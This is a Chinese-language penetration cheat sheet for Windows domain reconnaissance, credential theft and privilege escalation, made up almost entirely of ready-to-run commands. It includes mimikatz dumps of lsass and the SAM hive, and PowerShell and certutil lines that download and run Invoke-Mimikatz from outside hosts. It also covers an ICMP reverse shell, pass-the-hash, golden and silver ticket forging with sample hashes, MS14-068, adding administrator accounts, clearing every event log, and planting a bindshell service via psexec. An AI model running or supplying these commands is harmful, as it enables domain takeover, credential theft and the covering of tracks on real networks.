Windows域信息收集提权命令
2021年12月20日获取Windows 其他信息
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
查看WinRAR压缩文件等缓存文件
打开方式:WIN+R -> %UserProfile%\Recent C:\Users\Administrator\Recent //默认位置 dir %APPDATA%\Microsoft\Windows\Recent dir C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent dir /a /s /b c:\password.txt //查找password.txt位置
常见关键词搜索
dir /a /s /b c:\*.conf *.ini *.inc *.config dir /a /s /b c:\conf.* config.* dir /a /s /b c:\*.txt *.xls *.xlsx *.docx findstr /s /i /n /d:C:\ /c:"pass" *.config
过滤搜索
dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维" dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"
删除 Recent 文件夹
rd /s C:\Users\Administrator\Recent
windows 默认日志
NT/Win2000/XP/Server 2003 C:\WINDOWS\system32\config\SysEvent.Evt Vista/Win7/Win8//Win10/Server 2008/Server 2012 C:\WINDOWS\system32\winevt\Logs\System.evtx %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\ //iis默认日志位置 HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog //日志在注册表的键 %SystemRoot%\System32\Winevt\Logs\Application.evtx //应用程序日志 %SystemRoot%\System32\Winevt\Logs\Security.evtx //系统安全日志
查看powershell历史执行命令
dir %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt dir %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt powershell Get-Content (Get-PSReadlineOption).HistorySavePath 查询执行过的命令 Get-History Get-History | Format-List -Property * 查看具体内容 powershell get-clipboard 获取剪切板内容 powershell Get-Clipboard -format FileDropList 获取剪切板内容非文本 powershell Get-PSReadlineOption powershell 存储位置 doskey /h 查询cmd执行过的命令 doskey /reinstall 清空cmd执行过的命令
浏览器打开cmd
ms-settings:clipboard?activationSource=
清楚powershell历史执行命令
powershell Remove-Item (Get-PSReadlineOption).HistorySavePath
powershell清除windows事件日志
wevtutil el | Foreach-Object {Write-Host "Clearing $($_)" -ForegroundColor Green ; wevtutil cl "$_"}
CMD获取WiFi密码
netsh wlan show profiles netsh wlan show profiles name="WiFi名称" key=clear 通过for循环一次性获取全部WiFi密码 for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
读取本地浏览器密码信息
https://github.com/AlessandroZ/LaZagne
读取密码保存在windows系统上的 Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。
https://github.com/uknowsec/SharpDecryptPwd
查看本机保存的登陆密码
https://www.nirsoft.net/toolsdownload/netpass-x64.zip
常用命令
查询域控制器主机名 nltest /DCLIST:web route print 查看路由表 net use 查看ipc连接情况 net share 查看共享目录 echo %logonserver% 查看登陆域 dir /s *.exe 查看目录下的exe文件 query user 查当前机器中正在线的用户 net user /domain 获取域用户列表 net user xxx /domain 查询域用户 net user test 123 /add 添加用户 net localgroup administrators test /add 添加test用户到管理组 net group /domain 查询域里面的组 net group "domain admins" /domain 获取域管理员列表 net group "enterprise admins" /domain 查看当前域中企业管理员组用户 net group "domain computers" /domain 查看当前域中的所有的计算机名(登录过该域的计算机) net group "exchange servers" /domain 查看域内是否存在Exchange net group "domain controllers" /domain 查看域控制器(如果有多台) net config workstation 查看当前登录域 net view 查看同一域内机器列表 net view \\ip 查看某IP共享 net view \\test 查看test计算机的共享资源列表 net view /domain 查看内网存在多少个域 net time /domain 查询域控制器时间 Net view /domain:test 查看test域中的机器列表 wmic useraccount get /all //获取域内用户详细信息 wmic user accountget Caption,sid 获取域内所有用户sid setspn -T target.com -Q */* 获取当前域内所有spn for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl" for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"
netsh win自带只支持tcp
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080 netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389
ping主域获取ip
ping workgroup.cool -n 2
查看存活IP
@for /l %i in (1,1,255) do @ping -n 1 -w 1 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>./no.log) else (echo 192.168.0.%i >>./up.log) @for /l %D in (1,1,255) do (ping 192.168.0.%D -n 1 && echo 192.168.0.%D>>ok.txt || echo 192.168.0.%D >>no.txt) linux下筛选内容 awk '{print $2}' ok.log > ip_list.txt
查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.workgroup.cool
获取安装的补丁
systeminfo | findstr KB wmic qfe get caption,description,hotfixid,installedon
打开zip中的PHP文件
`<?php include 'phar://1.zip/kk.txt';?>`
基于powershell的渗透工具
https://github.com/samratashok/nishang
win https://github.com/samratashok/nishang kali git clone https://github.com/inquisb/icmpsh.git get-host 查看版本 Import-Module D:\nishang\nishang-master\nishang.psm1 导入框架 Get-Command -Module nishang 获取nishang命令模块 kali sysctl -w net.ipv4.icmp_echo_ignore_all=1 进入icmpsh 禁止icmp回显 ./icmpsh_m.py 12.12.12.12 192.168.0.180 win Invoke-PowerShellIcmp -IPAddress 12.12.12.12
http://bugs.hacking8.com/tiquan/
https://i.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/
exp
https://github.com/Al1ex/WindowsElevation
https://github.com/SecWiki/windows-kernel-exploits
正常要运行的是service.exe 解析顺序如下: C:\Program.exe C:\Program files(x86)\test.exe C:\Program files(x86)\test upload\service.exe 也就是可以在C盘更目录,将木马文件命名为Program.exe;或者在C:\Program files(x86)\目录下,将木马文件命名为test.exe,就有可能获取到system权限或高权限的shell
探测漏洞是否存在
wmic service get displayname,startmode,pathname|findstr /i "Auto" | findstr /i /v "C:\Windows\\"
获取Hash
reg save hklm\system C:\system.hive
reg save hklm\sam C:\sam.hive
使用procdump到处内存日志
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz读取
lsadump::sam /sam:C:/sam.hive /system:C:/system.hive
mimikatz.exe privilege::debug sekurlsa::logonpasswords
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
Powershell 获取
IEX(New-Object Net.WebClient).DownloadString("http://127.0.0.1:8080/Exfiltration/Invoke-Mimikatz.ps1") Invoke-Mimikatz -DumpCreds
直接加载
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
certutil.exe -urlcache -split -f "http://10.22.32.106:8000/Invoke-Mimikatz.ps1" powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
受限制的
Get-ExecutionPolicy //结果显示restricted Set-ExecutionPolicy Unrestricted //打开限制 Import-Module .\Invoke-Mimikatz.ps1 //导入命令 Invoke-Mimikatz -Command '"privilege::debug""sekurlsa::logonPasswords full" //获取密码
pth攻击
使用获取到的hash
sekurlsa::pth /user:administrator /domain:"workgroup.cool" /ntlm:f1de694efa543bb780da59c049541ea3
执行完弹出一个具有域控权的cmd
Wdigest 1为开启 可以获取明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f //开启Wdigest Auth reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f //关闭Wdigest Auth
使用mimikatz获取Hash
privilege::debug lsadump::dcsync /user:web
制作黄金票据
kerberos::golden /admin:administrator /domain:workgroup.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /user123:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
清空票据
kerberos::purge
列出票据
kerberos::list
加载票据
kerberos::ptt administrator.kiribi
票据传递
MS14-068
https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2014-6324
需要条件
域内普通用户的SID
域内普通用户密码
生成票据文件
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码 ms14-068.exe -u web@workgroup.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234abcd
将票据注入到内存中
kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 kerberos::list //查看当前机器凭证 kerberos::ptc TGT_web@domain.cache //将票据注入到内存中
dir \\ad.workgroup.cool\c$ //票据不存在显示拒绝访问
kekeo
https://github.com/gentilkiwi/kekeo/releases
生成票据
kekeo "tgt::ask /user:mary /domain:workgroup.cool /ntlm:518b98ad4178a53695dc997aa02d455c" 导入票据 kerberos::ptt TGT_mary@workgroup.cool_krbtgt~god.org@GOD.ORG.kirbi 查看凭证 klist net use 载入
白银票据
只能访问指定服务
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt kerberos::golden /domain:workgroup.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:web.workgroup.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:administrator /ptt 也可以使用ase256 kerberos::golden /user:administrator /domain:workgroup.cool /sid:S-1-5-21-74797282-3442809439-2700332097-502 /aes256:9dd45bd4b2c39a54240f5dc03bb4ecfb023285cf956425ba16f61db7ee48040d /ptt
kerberos::list //列出票据
copy win.exe \\AD.workgroup.cool\c$ sc \\web.workgroup.cool create bindshell binpath= "c:\win.exe" psexec.exe \\AD.workgroup.cool cmd.exe
https://github.com/Paper-Pen/GatherInfo